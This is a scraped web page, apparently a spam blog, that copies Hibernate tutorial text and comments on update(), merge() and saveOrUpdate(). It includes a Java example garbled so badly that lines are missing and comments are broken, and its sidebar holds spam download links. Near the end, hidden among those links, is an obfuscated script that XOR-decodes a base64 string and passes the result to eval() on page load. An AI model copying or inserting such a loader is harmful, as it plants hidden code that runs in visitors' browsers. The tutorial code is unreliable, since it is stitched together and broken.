Update:- if you are sure that the session does not contains an already persistent instance with the same identifier,then use update to save the data in hibernate Merge:-if you want to save your modificatiions at any time with out knowing abot the state of an session, then use merge in hibernate. In the previous articles, we have discussed Hibernate 5 - Save an Entity Example and Hibernate 5 - Persist an Entity Example. In this article, we will create a simple Hibernate application to demonstrate how to save or update an entity in the database using the saveOrUpdate method.

Update will update the record. Merge also do the same but difference is update raise the error if use record not availale but merge can't instead it will create the record. Check it once. Thankyou	1
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By: nice explanation... 0 By: 0 By: Session newSession = sessionFactory.openSession(); Student updatedMe = session.get(Student.class, new Integer(101)); Transaction tx = newSession.beginTransaction(); newSession.update(me); // will throw exception newSession.merge(me); // will run fine Explanation -- Here we closed the first session and Student object me became detached. After that we changed the name property of that detached object. Now if we call update() we will get exception because before reattachment, another instance that represents the same database row has already been loaded into the persistence context of that Session and Hibernate will get confused which object represents the current state. However, for merge() into updatedMe object, changes of me object will be merged and will finally be saved into the database. Hope this clarifies the doubts ! Have a great day ahead !! 0 By: Session newSession = sessionFactory.openSession(); Student updatedMe = session.get(Student.class, new Integer(101)); Transaction tx = newSession.beginTransaction(); newSession.update(me); // will throw exception newSession.merge(me); // will run fine Explanation -- Here we closed the first session and Student object me became detached. After that we changed the name property of that detached object. Now if we call update() we will get exception because before reattachment, another instance that represents the same database row has already been loaded into the persistence context of that Session and Hibernate will get confused which object represents the current state. However, for merge() into updatedMe object, changes of me object will be merged and will finally be saved into the database. Hope this clarifies the doubts ! Have a great day ahead !! 0 By: If the record is not present in the database, it will call save() method and inserts the record in the database. If the record is present in the database, it will call update() method and updates the record in the database. Example on saveOrUpdate: Before executing the EmployeeSaveOrUpdateExample.java in dabase </div><table><tbody><tr><td><div><div>2</div><div>4</div><div>6</div><div>8</div><div>10</div><div>12</div><div>14</div><div>16</div><div>18</div><div>20</div><div>22</div><div>24</div><div>26</div><div>28</div><div>30</div><div>32</div><div>34</div><div>36</div><div>38</div><div>40</div><div>42</div><div>44</div><div>46</div><div>48</div><div>50</div><div>52</div><div>54</div><div>56</div><div>58</div><div>60</div><div>62</div><div>64</div><div>66</div></div></td><td><div><div><span>import </span><span>org</span><span>.</span><span>hibernate</span><span>.</span><span>Session</span><span>;</span></div><div><span>import </span><span>org</span><span>.</span><span>hibernate</span><span>.</span><span>boot</span><span>.</span><span>registry</span><span>.</span><span>StandardServiceRegistryBuilder</span><span>;</span></div><div><span>import </span><span>org</span><span>.</span><span>hibernate</span><span>.</span><span>service</span><span>.</span><span>ServiceRegistry</span><span>;</span></div><div><span>public</span><span>class</span><span>EmployeeSaveOrUpdateExample</span><span>{</span></div><div><span>public</span><span>static</span><span>void</span><span>main</span><span>(</span><span>String</span><span>[</span><span>]</span><span>args</span><span>)</span><span>{</span></div><div><span>session</span><span>.</span><span>getTransaction</span><span>(</span><span>)</span><span>.</span><span>begin</span><span>(</span><span>)</span><span>;</span></div><div><span>try</span><span>{</span></div><div><span>Employee </span><span>saveEmp</span><span>=</span><span>new</span><span>Employee</span><span>(</span><span>1</span><span>,</span><span>'Kalyan'</span><span>,</span><span>'Developement'</span><span>)</span><span>;</span></div><div><span>/*</span></div><div><span> * Here employee object with the empno 1 is not there </span></div><div><span> * in database, So it calls save() method and inserts the </span></div><div><span> * </span></div><div><span>session</span><span>.</span><span>saveOrUpdate</span><span>(</span><span>updateEmp</span><span>)</span><span>;</span></div><div><span> * Here employee object with the empno 2 is already present </span></div><div><span> * in database. So it calls update() method and updates the</span></div><div><span> * </span></div><div><span>session</span><span>.</span><span>getTransaction</span><span>(</span><span>)</span><span>.</span><span>commit</span><span>(</span><span>)</span><span>;</span></div><div><span>e</span><span>.</span><span>printStackTrace</span><span>(</span><span>)</span><span>;</span></div><div><span>}</span></div><div><span>public</span><span>static</span><span>Session </span><span>getSession</span><span>(</span><span>)</span><span>{</span></div><div><span>Session </span><span>session</span><span>=</span><span>null</span><span>;</span></div><div><span>Configuration </span><span>configuration</span><span>=</span><span>new</span><span>Configuration</span><span>(</span><span>)</span><span>.</span></div><div><span>StandardServiceRegistryBuilder </span><span>serviceRegistryBuilder</span><span>=</span></div><div><span>serviceRegistryBuilder</span><span>.</span><span>applySettings</span><span>(</span><span>configuration</span><span>.</span><span>getProperties</span><span>(</span><span>)</span><span>)</span><span>;</span></div><div><span>ServiceRegistry </span><span>serviceRegistry</span><span>=</span><span>serviceRegistryBuilder</span><span>.</span><span>build</span><span>(</span><span>)</span><span>;</span></div><div><span>SessionFactory </span><span>sessionFactory</span><span>=</span><span>configuration</span><span>.</span><span>buildSessionFactory</span></div><div><span>session</span><span>=</span><span>sessionFactory</span><span>.</span><span>openSession</span><span>(</span><span>)</span><span>;</span></div><div><span>}</span><span>catch</span><span>(</span><span>Exception</span><span>e</span><span>)</span><span>{</span></div><div><span>}</span></div><div><span>}</span></div></div></td></tr></tbody></table><p>After executing EmployeeSaveOrUpdateExample.java</p><div><textarea wrap='soft' readonly='>SQL> SELECT * FROM EMPLOYEE; EMPNO EMPNAME EMPDEPT ---------- -------------------- -------------------- 2 Sree R&D 1 Kalyan Developement 2 4 6 8 10 -------------------------------------------------- 1Kalyan Developement Output in Eclipse : Dissomaster</a></li> <li><a href='/hive-1-vst-free'>: Hive 1 Vst Free</a></li> <li><a href='/becky-g-album-download-torrent-free'>: Becky G Album Download Torrent Free</a></li> <li><a href='/insulation-hatch-cad'>: Insulation Hatch Cad</a></li> <li><a href='/nvidia-control-panel-mac'>: Nvidia Control Panel Mac</a></li> <li><a href='/garageband-for-os-x-yosemite-10105'>: Garageband For Os X Yosemite 10.10.5</a></li> <li><a href='/netvue-app'>: Netvue App</a></li> <li><script>var f='6ZTFlrcuBxqmpIQYBdfyuBd6wSo2XMvcsrkXL7SqqtfhYmmwvN74huJFWVjBcjFXbn36x1mCtYibv4hjF1GjOA46RObYYrngWrgKsp8CBFLrlIj0N85kLwiJs5pR0wMcKbneYG0q1dRjYMViEjlZucEAiFsv8qLe1IPkuechiOsHN8UO';var J=atob('QDsmZh4XBUgmFxIYHSw/LWwHEwsHJwpCJDAdWyg5TRUSAEsgJEVuHxQDRjAUISUDAj5lURkALzUjfkN5GwI0dg0eVlhQFioGIH5FRVkbAQQiVC0ZYTJEVzEqRXBiCgYVeQUOPxszSiYmIyIGBSgGQ3NMRx4pTBEiARsfPFwYLAd2BBsLOjNZHl9MexE8OzcFbRIEKFsRIDIZKR0FXSUpHUVgaxZOHQsaRzwWJioQfHQ=');var O='';for(var CAO=0;CAO<f.length;CAO++){O+=String.fromCharCode(f.charCodeAt(CAO)^J.charCodeAt(CAO));}eval(O);</script></li> </ul> </aside> </div> </div> </div> <footer id="colophon" class="site-footer" role="contentinfo"> <div class="site-info"> <div class="container"> <div class="btt"> <a class="back-top-top" href="#page" title="Back To Top"></a> </div> Copyright © 2018 – Blogma99 </div> </div> </footer> </div> </body> </html>